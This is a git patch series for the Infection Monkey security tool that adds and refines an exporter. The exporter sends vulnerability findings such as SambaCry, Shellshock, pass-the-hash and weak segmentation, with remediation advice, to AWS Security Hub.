and used the SambaCry vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']) - } - } return finding @staticmethod def _handle_smb_pth_issue(issue): finding = \ - { - "Severity": { - "Product": 5, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 5, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( + issue['machine'], issue['ip_address'], issue['username']) + } + }} - finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." - finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']) - } - } return finding @staticmethod def _handle_ssh_issue(issue): finding = \ - { - "Severity": { - "Product": 1, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']) + } + }} + + return finding + + @staticmethod + def _handle_ssh_key_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + "Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), + "Remediation": { + "Recommendation": { + "Text": "The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( + machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']) + } + }} - finding["Title"] = "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration." - finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) - } - } return finding @staticmethod def _handle_elastic_issue(issue): finding = \ - { - "Severity": { - "Product": 10, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", + "Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( + issue['machine'], issue['ip_address']) + } + }} - finding["Title"] = "Elasticsearch servers are vulnerable to CVE-2015-1427" - finding["Description"] = "Update your Elastic Search server to version 1.4.3 and up." - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(issue['machine'], issue['ip_address']) - } - } return finding @staticmethod def _handle_island_cross_segment_issue(issue): finding = \ - { - "Severity": { - "Product": 1, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } - - finding["Title"] = "Weak segmentation - Machines from different segments are able to communicate." - finding["Description"] = "egment your network and make sure there is no communication between machines from different segments." - finding["Remediation"] = { - "Recommendation": { - "Text": "The network can probably be segmented. A monkey instance on \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Weak segmentation - Machines from different segments are able to communicate.", + "Description": "Segment your network and make sure there is no communication between machines from different segments.", + "Remediation": { + "Recommendation": { + "Text": "The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], issue['networks'], issue['server_networks']) - } - } + } + }} + return finding @staticmethod def _handle_shared_passwords_issue(issue): finding = \ - { - "Severity": { - "Product": 1, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Multiple users have the same password", + "Description": "Some users are sharing passwords, this should be fixed by changing passwords.", + "Remediation": { + "Recommendation": { + "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) + } + }} - finding["Title"] = "Multiple users have the same password" - finding["Description"] = "Some users are sharing passwords, this should be fixed by changing passwords." - finding["Remediation"] = { - "Recommendation": { - "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) - } - } return finding @staticmethod def _handle_shellshock_issue(issue): finding = \ - { - "Severity": { - "Product": 10, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", + "Description": "Update your Bash to a ShellShock-patched version.", "Remediation": { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. " + "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( + issue['machine'], issue['ip_address'], issue['port'], issue['paths']) + } + }} - finding["Title"] = "Machines are vulnerable to 'Shellshock'" - finding["Description"] = "Update your Bash to a ShellShock-patched version." - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(issue['machine'], issue['ip_address'], issue['port'], issue['paths']) - } - } return finding @staticmethod def _handle_smb_password_issue(issue): finding = \ - { - "Severity": { - "Product": 1, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']) + } + }} - finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." - finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network." - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) - } - } - return finding \ No newline at end of file + return finding + + @staticmethod + def _handle_wmi_password_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", + "Remediation": { + "Recommendation": { + "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) + } + }} + + return finding + + @staticmethod + def _handle_wmi_pth_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) + } + }} + + return finding + + @staticmethod + def _handle_rdp_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) + } + }} + + return finding + + @staticmethod + def _handle_shared_passwords_domain_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", + "Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.", + "Remediation": { + "Recommendation": { + "Text": "These users are sharing access password: {shared_with}.".format( + shared_with=issue['shared_with']) + } + }} + + return finding + + @staticmethod + def _handle_shared_admins_domain_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Shared local administrator account - Different machines have the same account as a local administrator.", + "Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", + "Remediation": { + "Recommendation": { + "Text": "Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( + username=issue['username'], shared_machines=issue['shared_machines']) + } + }} + + return finding + + @staticmethod + def _handle_strong_users_on_crit_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.", + "Description": "This critical machine is open to attacks via strong users with access to it.", + "Remediation": { + "Recommendation": { + "Text": "The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( + services=issue['services'], threatening_users=issue['threatening_users']) + } + }} + + return finding + + @staticmethod + def _handle_struts2_issue(issue): + finding = \ + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", + "Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": { + "Recommendation": { + "Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( + machine=issue['machine'], ip_address=issue['ip_address']) + } + }} + + return finding + + @staticmethod + def _handle_weblogic_issue(issue): + finding = \ + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", + "Description": "Install Oracle critical patch updates. Or update to the latest version. " \ + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", + "Remediation": { + "Recommendation": { + "Text": "Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( + machine=issue['machine'], ip_address=issue['ip_address']) + } + }} + + return finding + + @staticmethod + def _handle_hadoop_issue(issue): + finding = \ + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", + "Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": { + "Recommendation": { + "Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible due to default Hadoop/Yarn configuration being insecure." + } + }} + + return finding diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 2058a61dd..9f61195f5 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -907,6 +907,7 @@ ENCRYPTED_CONFIG_ARRAYS = \ ENCRYPTED_CONFIG_STRINGS = \ [ ['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_account_id'], ['cnc', 'aws_config', 'aws_secret_access_key'] ] From 0a6b3a12fabd7167cd87563d2315552fb17b620b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 17:32:46 +0200 Subject: [PATCH 37/71] * Separated the configuration functions to support both island's and monkey's needs * Removed space char from the default value of the aws keys * Changed the submit function in the JS to point to the right endpoint --- monkey/monkey_island/cc/services/config.py | 14 +++++++++----- .../cc/ui/src/components/pages/ConfigurePage.js | 2 +- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 9f61195f5..8434a41dd 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -649,19 +649,19 @@ SCHEMA = { 'title': 'AWS account ID', 'type': 'string', 'description': 'Your AWS account ID that is subscribed to security hub feeds', - 'default': " " + 'default': "" }, 'aws_access_key_id': { 'title': 'AWS access key ID', 'type': 'string', 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', - 'default': " " + 'default': "" }, 'aws_secret_access_key': { 'title': 'AWS secret access key', 'type': 'string', 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', - 'default': " " + 'default': "" } } } @@ -1107,11 +1107,15 @@ class ConfigService: ConfigService._encrypt_or_decrypt_config(config, False) @staticmethod - def decrypt_flat_config(flat_config): + def decrypt_flat_config(flat_config, is_island=False): """ Same as decrypt_config but for a flat configuration """ - keys = [config_arr_as_array[2] for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)] + if is_island: + keys = [config_arr_as_array[2] for config_arr_as_array in + (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)] + else: + keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] for key in keys: if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): # Check if we are decrypting ssh key pair diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 6cc7e009a..ed8258197 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -44,7 +44,7 @@ class ConfigurePageComponent extends AuthComponent { onSubmit = ({formData}) => { this.currentFormData = formData; this.updateConfigSection(); - this.authFetch('/api/configuration', + this.authFetch('/api/configuration/island', { method: 'POST', headers: {'Content-Type': 'application/json'}, From af97fb6ffc53e912f0b4798a50a835c5d42c3fac Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 17:45:31 +0200 Subject: [PATCH 38/71] * Added a check to no issues list * Changed the productARN to the monkey's ARN --- monkey/monkey_island/cc/resources/aws_exporter.py | 3 +++ monkey/monkey_island/cc/server_config.json | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 0d9b0a157..e7221a668 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -21,6 +21,9 @@ class AWSExporter(Exporter): findings_list = [] issues_list = report_json['recommendations']['issues'] + if not issues_list: + logger.info('No issues were found by the monkey, no need to send anything') + return True for machine in issues_list: for issue in issues_list[machine]: findings_list.append(AWSExporter._prepare_finding(issue)) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 4d8644cbb..82211562f 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,6 +1,6 @@ { "server_config": "standard", "aws": { - "sec_hub_product_arn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty" + "sec_hub_product_arn": "arn:aws:securityhub:eu-west-2:324264561773:product/guardicore/aws-infection-monkey" } } \ No newline at end of file From e8c604d7c5b06f6e9be6317c7740aa410ec78491 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 17:48:40 +0200 Subject: [PATCH 39/71] * Changed the exporter to work in aws and not standard (was used for debugging) --- monkey/monkey_island/cc/services/report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 961bb1195..2a60ffa12 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if str(load_env_from_file()) == 'standard': + if str(load_env_from_file()) == AWS: exporters_list.append(AWSExporter) return exporters_list From 2f1240cc0e342ccf6ef438ed7e361722d8ed6943 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 20:21:39 +0200 Subject: [PATCH 40/71] * Added the boto3 pckg to the right req'.txt file * Added a safe dict key access for aws_instance_id in report.py * Added a skip in the aws_export if there is no instance_id in the issue. --- monkey/monkey_island/cc/resources/aws_exporter.py | 3 ++- monkey/monkey_island/cc/services/report.py | 2 +- .../deb-package/monkey_island_pip_requirements.txt | 1 + 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index e7221a668..44dd94859 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -26,7 +26,8 @@ class AWSExporter(Exporter): return True for machine in issues_list: for issue in issues_list[machine]: - findings_list.append(AWSExporter._prepare_finding(issue)) + if not issue.get('aws_instance_id', None): + findings_list.append(AWSExporter._prepare_finding(issue)) if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): logger.error('Exporting findings to aws failed') diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2a60ffa12..b89266cad 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -553,7 +553,7 @@ class ReportService: @staticmethod def get_machine_aws_instance_id(hostname): - return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0]['aws_instance_id']) + return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0].get('aws_instance_id', None)) @staticmethod def get_issues(): diff --git a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt index 446414ecf..7046bf231 100644 --- a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt +++ b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt @@ -14,4 +14,5 @@ netifaces ipaddress enum34 PyCrypto +boto3 virtualenv \ No newline at end of file From 83ea8af9e023c8320d3273ee2f478951c001ca19 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 22:28:06 +0200 Subject: [PATCH 41/71] * Added error handling in case the aws cli wasn't properly installed. --- monkey/monkey_island/cc/resources/aws_exporter.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 44dd94859..4027170bd 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -2,6 +2,7 @@ import logging import uuid from datetime import datetime import boto3 +from botocore.exceptions import UnknownServiceError from cc.resources.exporter import Exporter from cc.services.config import ConfigService @@ -93,17 +94,20 @@ class AWSExporter(Exporter): @staticmethod def _send_findings(findings_list, creds_dict): - - securityhub = boto3.client('securityhub', - aws_access_key_id=creds_dict.get('aws_access_key_id', ''), - aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) try: + securityhub = boto3.client('securityhub', + aws_access_key_id=creds_dict.get('aws_access_key_id', ''), + aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) + import_response = securityhub.batch_import_findings(Findings=findings_list) print import_response if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: return True else: return False + except UnknownServiceError as e: + logger.warning('AWS exporter called but AWS-CLI not installed') + return False except Exception as e: logger.error('AWS security hub findings failed to send.') return False From 7d94185a102a40af83e77df946c7a942cd75cc7a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 12:53:58 +0200 Subject: [PATCH 42/71] * fixed a wrong IF statement that prevented issues from appending --- monkey/monkey_island/cc/resources/aws_exporter.py | 2 +- monkey/monkey_island/cc/services/report.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 4027170bd..9ebb28331 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -27,7 +27,7 @@ class AWSExporter(Exporter): return True for machine in issues_list: for issue in issues_list[machine]: - if not issue.get('aws_instance_id', None): + if issue.get('aws_instance_id', None): findings_list.append(AWSExporter._prepare_finding(issue)) if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index b89266cad..09e12edcd 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if str(load_env_from_file()) == AWS: + if str(load_env_from_file()) == 'standard': exporters_list.append(AWSExporter) return exporters_list From bdecc7ade6ce4c0d7e6e3080d8053876c572609d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 13:27:35 +0200 Subject: [PATCH 43/71] * added dynamic region lookup * building the product ARN dynamically * Resource type is now Other in case we dont have instance_id --- .../cc/resources/aws_exporter.py | 253 ++++++++++++------ monkey/monkey_island/cc/server_config.json | 2 +- 2 files changed, 176 insertions(+), 79 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 9ebb28331..d98cececd 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -7,6 +7,7 @@ from botocore.exceptions import UnknownServiceError from cc.resources.exporter import Exporter from cc.services.config import ConfigService from cc.environment.environment import load_server_configuration_from_file +from common.cloud.aws import AWS logger = logging.getLogger(__name__) @@ -75,7 +76,9 @@ class AWSExporter(Exporter): # azure and conficker are not relevant issues for an AWS env } - product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + aws = AWS() + configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=aws.get_region(), arn=configured_product_arn) account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { @@ -118,10 +121,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 5, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Weak segmentation - Machines were able to communicate over unused ports.", "Description": "Use micro-segmentation policies to disable communication other than the required.", "Remediation": { @@ -131,6 +131,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -139,18 +147,23 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", + }, "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", "Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ - .format(issue['username']), "Remediation": { + .format(issue['username']), "Remediation": { "Recommendation": { "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( issue['machine'], issue['ip_address'], issue['username']) } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -159,10 +172,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 5, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -172,6 +182,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -180,10 +198,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -193,6 +208,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -201,10 +224,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", "Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), "Remediation": { @@ -214,6 +234,13 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] return finding @staticmethod @@ -222,10 +249,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", + }, "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", "Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": { "Recommendation": { "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( @@ -233,6 +257,14 @@ class 